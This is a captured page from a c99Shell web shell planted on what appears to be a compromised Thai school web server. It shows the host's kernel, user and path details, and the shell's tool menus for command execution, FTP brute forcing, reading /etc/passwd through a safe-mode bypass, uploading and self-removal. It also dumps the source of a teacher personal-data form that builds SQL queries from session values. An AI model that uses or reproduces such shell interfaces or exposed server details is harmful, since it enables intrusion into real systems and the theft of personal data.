!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage_22222/teacher_aj_viratt/history/Family/   drwxr-xr-x
Free 50.66 GB of 127.8 GB (39.64%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Frm_Edit_Fam.php (14.65 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
 session_start
();
 if (
session_is_registered("valid_user")&&session_is_registered("Priority")&&session_is_registered("password"))
 {
include(
"../../../include/FunctionDB.php");
include(
"../../../include/Function.php");
ConnectDB();
$Username $valid_user;
$Password $password;
$sql "Select * From personal_tb Where Username='$Username' ";
$result mysql_query($sql) or die(" Error").mysql_error();
$rs mysql_fetch_array($result)
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>History Detail</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<link rel="stylesheet" href="css/style1.css" type="text/css">
<link href="../../../css/style1.css" rel="stylesheet" type="text/css">
<script language="JavaScript" type="text/JavaScript">
function browse()
{
form1.Imag1.src = form1.Img1.value;
}
</script>
</head>

<body bgcolor="#FFFFFF">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
  <tr> 
    <td> <table width="100%" border="0" align="center" cellpadding="0" cellspacing="1" bordercolor="#CCCCCC">
        <tr class="table"> 
          <td width="20%" background="../../../Image/bart1.jpg" class="table"> 
            <div align="center"><strong><font size="2" face="Tahoma"><a href="../../menu_teacher.php" class="d">เมนูหลัก</a></font></strong></div></td>
          <td width="20%" background="../../../Image/bart1.jpg" class="table"> 
            <div align="center"><strong><font size="2" face="Tahoma"><a href="../Menu_History.php" class="d">รานการประวัติ</a></font></strong></div></td>
          <td width="20%" background="../../../Image/bart1.jpg" class="table"><div align="center"><font size="2" face="Tahoma"><strong><a href="Show_Fam_History.php?Teacher_code=<? echo $rs[Teacher_code]?>" class="d">แสดงประวัติส่วนตัว</a></strong></font></div></td>
          <td width="20%" background="../../../Image/bart1.jpg" class="table"> 
            <div align="center"><strong><font size="2" face="Tahoma"><a href="../../../logout.php" class="d">Logout</a></font></strong></div></td>
        </tr>
      </table></td>
  </tr>
</table>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td><div align="center"><font color="#000000" size="2" face="Tahoma"><strong>ขณะนี้ 
        อ.</strong></font> <font color="#993333" size="2" face="Tahoma"><strong><?php echo $rs[Teacher_name]?>&nbsp; 
        <?php echo $rs[Teacher_lastname]?> </strong></font><font color="#000000" size="2" face="Tahoma"><strong>กำลังใช้งานระบบ</strong></font></div></td>
  </tr>
  <tr>
    <td>&nbsp;</td>
  </tr>
</table>
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#E9E9E9" style="border:1px solid gray">
  <!--DWLayoutTable-->
  <form action="Edit_fam_his.php" method="POST" enctype="multipart/form-data" name="form1">
    <tr bordercolor="#E7FAFE" bgcolor="#CEE6FF" > 
      <td height="20" colspan="4" nowrap bordercolor="#FFFFFF"> <div align="center"><font color="#FFFFFF" size="4" face="Tahoma">&nbsp;<strong><font color="#FF0000">แก้ไข</font><font color="#003366"> 
          ประวัติส่วนตัว และ ครอบครัว</font></strong></font></div></td>
    </tr>
    <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE"> 
      <td height="20" nowrap bordercolor="#FFFFFF" bgcolor="#ECF5FF"><div align="center"><font color="#003300" size="2" face="Tahoma">เลขที่บัตรประชาชน</font></div></td>
      <td nowrap bgcolor="#EEEEEE"><!--DWLayoutEmptyCell-->&nbsp;</td>
      <td nowrap bgcolor="#EEEEEE"><font color="#003366" size="2" face="Tahoma"> 
        <input name="Citizen_id" type="text" id="Citizen_id" value="<? echo $rs[Citizen_id]?>" size="20">
        </font></td>
      <td width="232" rowspan="6" nowrap bgcolor="#EEEEEE"> 
        <?php 
         
echo"<center>";
         echo
"<img name=\"Imag1\" src=\"$rs[Img1]\" > ";
          echo
"</center>";
        
?>
      </td>
    </tr>
    <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE"> 
      <td width="256" height="20" nowrap bordercolor="#FFFFFF" bgcolor="#ECF5FF"> 
        <div align="center"><font color="#003300" size="2" face="Tahoma">คำนำหน้า</font></div></td>
      <td width="13" nowrap bgcolor="#EEEEEE"><!--DWLayoutEmptyCell-->&nbsp;</td>
      <td width="480" nowrap bgcolor="#EEEEEE"> <font color="#003366" size="2" face="Tahoma"> 
        <input type="radio" name="First_name" <?php if (!(strcmp("$rs[First_name]","นาย"))){echo "checked";} ?> value="นาย">
        นาย 
        <input type="radio" name="First_name" <?php if (!(strcmp("$rs[First_name]","นางสาว"))){echo "checked";} ?> value="นางสาว">
        นางสาว 
        <input type="radio" name="First_name"  <?php if (!(strcmp("$rs[First_name]","นาง"))){echo "checked";} ?> value="นาง">
        นาง </font></td>
    </tr>
    <tr bordercolor="#FFFFFF" bgcolor="#FFFFFF"> 
      <td height="20" nowrap bordercolor="#FFFFFF" bgcolor="#ECF5FF"><div align="center"><font color="#003300" size="2" face="Tahoma">ชื่อ-นามสกุล</font></div></td>
      <td nowrap bgcolor="#EEEEEE"><!--DWLayoutEmptyCell-->&nbsp;</td>
      <td nowrap bgcolor="#EEEEEE"> <input name="Teacher_name" type="text" value="<? echo $rs[Teacher_name?>"> 
        <font color="#003300" size="2" face="Tahoma">นามสกุล 
        <input name="Teacher_lastname" type="text" value="<? echo $rs[Teacher_lastname?>">
        </font></td>
    </tr>
    <tr bordercolor="#FFFFFF" bgcolor="#FFFFFF"> 
      <td height="20" nowrap bordercolor="#FFFFFF" bgcolor="#ECF5FF"><div align="center"><font color="#003300" size="2" face="Tahoma">วัน/เดือน/ปี 
          ที่เกิด</font></div></td>
      <td nowrap bgcolor="#EEEEEE"><!--DWLayoutEmptyCell-->&nbsp;</td>
      <td nowrap bgcolor="#EEEEEE"><font color="#000000" size="2" face="Tahoma">วันที่ 
        <select name="mDate" id="mDate" class="select" >
          <?php
           $DateBirth 
$rs[DateBirth];
           
$yearthai explode("-",$DateBirth);
           
$mDate =   intval($yearthai[2]);
           
$mMonth =  intval($yearthai[1]);
           
$mYear =   intval($yearthai[0]);
            for(
$i=0;$i<=31;$i++)
             {  
            if( 
$i == 0)
               echo
"\n\t<option value=\"$mDate\" selected>$mDate</option>\n ";
             else
               echo
"\n\t<option value=\"$i\">$i</option>\n ";
              }
                 
//    getDay1to31();
           
?>
        </select>
        เดือน 
        <select name="mMonth" id="mMonth" class="select" >
          <?php
          $DateBirth 
$rs[DateBirth];
           
$yearthai explode("-",$DateBirth);
           
$mDate=   intval($yearthai[2]);
           
$Month =  intval($yearthai[1]);
           
$mYear =   intval($yearthai[0]);     
           
$mMonth $Month;
          
$CMonth TxtThaiMonth($Month);
           for(
$i=-1;$i<=11;$i++)
              {
             
$a $i+1;
                if( 
$a == 0)
                  echo
"\n\t<option value=\"$mMonth\" selected>$CMonth</option>\n ";
             else
                  echo
"\n\t<option value=\"$a\">$ThaiMonth[$i]</option>\n ";
              }
                 
// getThaiMonth();
          
?>
        </select>
        ปี พ.ศ. 
        <input name="mYear" type="text" class="input1" id="mYear" value="<? echo $mYear ?>" size="10">
        </font></td>
    </tr>
    <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE"> 
      <td height="20" nowrap bordercolor="#FFFFFF" bgcolor="#ECF5FF"><div align="center"><font size="2" face="Tahoma">เพศ</font></div></td>
      <td nowrap bgcolor="#EEEEEE"><!--DWLayoutEmptyCell-->&nbsp;</td>
      <td nowrap bgcolor="#EEEEEE"><font color="#003366" size="2" face="Tahoma"> 
        <input type="radio" name="Sex" <?php if (!(strcmp("$rs[Sex]","หญิง"))){echo "checked";} ?> value="หญิง">
        หญิง 
        <input type="radio" name="Sex" <?php if (!(strcmp("$rs[Sex]","ชาย"))){echo "checked";} ?> value="ชาย">
        ชาย </font></td>
    </tr>
    <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE"> 
      <td height="20" nowrap bordercolor="#FFFFFF" bgcolor="#ECF5FF"><div align="center"><font size="2" face="Tahoma">เชื้อชาติ</font></div></td>
      <td nowrap bgcolor="#EEEEEE"><!--DWLayoutEmptyCell-->&nbsp;</td>
      <td nowrap bgcolor="#EEEEEE"><font color="#003366" size="2" face="Tahoma"> 
        <input name="Nationality" type="text" value="<? echo $rs[Nationality]?>" size="15">
        &nbsp;&nbsp;<font color="#000000">สัญชาต</font>ิ 
        <input name="Nation" type="text" value="<? echo $rs[Nation]?>" size="15">
        </font></td>
    </tr>
    <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE"> 
      <td height="20" nowrap bordercolor="#FFFFFF" bgcolor="#ECF5FF"><div align="center"><font size="2" face="Tahoma">ศาสนา</font></div></td>
      <td nowrap bgcolor="#EEEEEE"><!--DWLayoutEmptyCell-->&nbsp;</td>
      <td nowrap bordercolor="#CCCCCC" bgcolor="#eeeeee"><font size="2" face="Tahoma"> 
        <input type="radio" name="Religion" value="พุทธ" <?php if (!(strcmp("$rs[Religion]","พุทธ"))){echo "checked";} ?> onkeypress="return handleEnter(this, event)">
        พุทธ 
        <input type="radio" name="Religion" value="คริสต์" <?php if (!(strcmp("$rs[Religion]","คริสต์"))){echo "checked";} ?> onkeypress="return handleEnter(this, event)">
        คริสต์ 
        <input type="radio" name="Religion" value="อิสลาม" <?php if (!(strcmp("$rs[Religion]","อิสลาม"))){echo "checked";} ?> onkeypress="return handleEnter(this, event)">
        อิสลาม 
        <input type="radio" name="Religion" value="อื่นๆ" <?php if (!(strcmp("$rs[Religion]","อื่นๆ"))){echo "checked";} ?> onkeypress="return handleEnter(this, event)">
        อื่นๆ</font></td>
      <td nowrap bordercolor="#CCCCCC" bgcolor="#eeeeee"><div align="center"><font size="2" face="Tahoma"> 
          <input name="Img1" type="file" id="Img1" onChange=browse() size="15" value="<? echo $rs[Img1]?>">
          </font></div></td>
    </tr>
    <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE"> 
      <td height="20" nowrap bordercolor="#FFFFFF" bgcolor="#ECF5FF"> <div align="center"><font color="#003300" size="2" face="Tahoma">ภูมิลำเนาู่</font></div></td>
      <td width="13" nowrap bgcolor="#EEEEEE"><!--DWLayoutEmptyCell-->&nbsp;</td>
      <td colspan="2" nowrap bgcolor="#EEEEEE"> <font color="#003366" size="2" face="Tahoma"> 
        <textarea name="Address" cols="50" rows="3"><? echo nl2br($rs[Address])?></textarea>
        </font></td>
    </tr>
    <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE"> 
      <td height="20" nowrap bordercolor="#FFFFFF" bgcolor="#ECF5FF"><div align="center"><font size="2" face="Tahoma">สถานภาพ 
          บิดา - มารดา</font></div></td>
      <td nowrap bgcolor="#EEEEEE"><!--DWLayoutEmptyCell-->&nbsp;</td>
      <td colspan="2" nowrap bgcolor="#EEEEEE"><table width="100%" border="0" cellspacing="0" cellpadding="0">
          <tr> 
            <td width="50%"><font size="2" face="Tahoma"> 
              <input type="radio" name="Status2" value="มีชีวิตอยู่" <?php if (!(strcmp("$rs[Status2]","มีชีวิตอยู่"))){echo "checked";} ?> onkeypress="return handleEnter(this, event)">
              มีชีวิตอยู่ 
              <input type="radio" name="Status2" value="มีชีวิตอยู่" <?php if (!(strcmp("$rs[Status2]","ถืงแก่กรรม"))){echo "checked";} ?> onkeypress="return handleEnter(this, event)">
              ถืงแก่กรรม</font></td>
            <td width="50%"><font size="2" face="Tahoma"> 
              <input type="radio" name="Status3" value="มีชีวิตอยู่" <?php if (!(strcmp("$rs[Status3]","มีชีวิตอยู่"))){echo "checked";} ?> onkeypress="return handleEnter(this, event)">
              มีชีวิตอยู่ 
              <input type="radio" name="Status3" value="มีชีวิตอยู่" <?php if (!(strcmp("$rs[Status3]","ถืงแก่กรรม"))){echo "checked";} ?> onkeypress="return handleEnter(this, event)">
              ถืงแก่กรรม</font></td>
          </tr>
        </table></td>
    </tr>
    <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE"> 
      <td height="20" nowrap bordercolor="#FFFFFF" bgcolor="#ECF5FF"><div align="center"><font color="#000000" size="2" face="Tahoma">ชื่อ 
          - นามสกุล บิดา</font></div></td>
      <td nowrap bgcolor="#EEEEEE"><!--DWLayoutEmptyCell-->&nbsp;</td>
      <td colspan="2" nowrap bgcolor="#EEEEEE"><font color="#003366" size="2" face="Tahoma">&nbsp;</font> 
        <input name="Father_name" type="text" value="<? echo $rs[Father_name]?>" size="30"> 
        &nbsp;<font color="#000000" size="2" face="Tahoma">&nbsp;มารดา&nbsp;&nbsp;&nbsp;</font><font color="#003366" size="2" face="Tahoma"> 
        <input name="Mother_name" type="text" value="<? echo $rs[Mother_name]?>" size="30">
        </font></td>
    </tr>
    <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE"> 
      <td height="20" nowrap bordercolor="#FFFFFF" bgcolor="#ECF5FF"><div align="center"><font size="2" face="Tahoma">สถานภาพ</font></div></td>
      <td nowrap bgcolor="#EEEEEE"><!--DWLayoutEmptyCell-->&nbsp;</td>
      <td colspan="2" nowrap bgcolor="#EEEEEE"><font color="#003366" size="2" face="Tahoma"> 
        <input type="radio" name="Status" <?php if (!(strcmp("$rs[Status]","โสด"))){echo "checked";} ?> value="โสด">
        โสด 
        <input type="radio" name="Status" <?php if (!(strcmp("$rs[Status]","สมรส"))){echo "checked";} ?> value="สมรส">
        สมรส 
        <input type="radio" name="Status" <?php if (!(strcmp("$rs[Status]","หย่าร้าง"))){echo "checked";} ?> value="radiobutton">
        หย่าร้าง 
        <input type="radio" name="Status" <?php if (!(strcmp("$rs[Status]","ถึงแก่กรรม"))){echo "checked";} ?> value="radiobutton">
        ถึงแก่กรรม </font></td>
    </tr>
    <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE"> 
      <td height="20" nowrap bordercolor="#FFFFFF" bgcolor="#ECF5FF"><div align="center"><font size="2" face="Tahoma">ชื่อนามสกุลคู่สมรส</font></div></td>
      <td nowrap bgcolor="#EEEEEE"><!--DWLayoutEmptyCell-->&nbsp;</td>
      <td colspan="2" nowrap bgcolor="#EEEEEE"> <input name="Soulmate" type="text" id="Soulmate" value="<? echo $rs[Soulmate]?>"></td>
    </tr>
    <tr bordercolor="#E7FAFE" bgcolor="#E7FAFE"> 
      <td height="20" nowrap bordercolor="#FFFFFF" bgcolor="#ECF5FF"><div align="center"><font size="2" face="Tahoma">จำนวนบุตร</font></div></td>
      <td nowrap bgcolor="#EEEEEE"><!--DWLayoutEmptyCell-->&nbsp;</td>
      <td colspan="2" nowrap bgcolor="#EEEEEE"> <input name="Total_child" type="text" id="Total_child" value="<? echo $rs[Total_child]?>"></td>
    </tr>
    <tr bgcolor="#CEE6FF"> 
      <td height="20" colspan="4"> <div align="center"> 
          <input type="hidden" name="Teacher_code" value="<? echo $rs[Teacher_code]?>">
          <input type="submit" name="Submit" value="   บันทึก   ">
        </div></td>
    </tr>
  </form>
</table>
<?php
CloseDB
();
?>
<p>&nbsp;</p>
</body>
</html>
<?php 
    
}
else
{
       echo
"<meta http-equiv=\"refresh\" content=\"3;URL=../../login.php\">\n";
       echo
"Please Login ";
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0159 ]--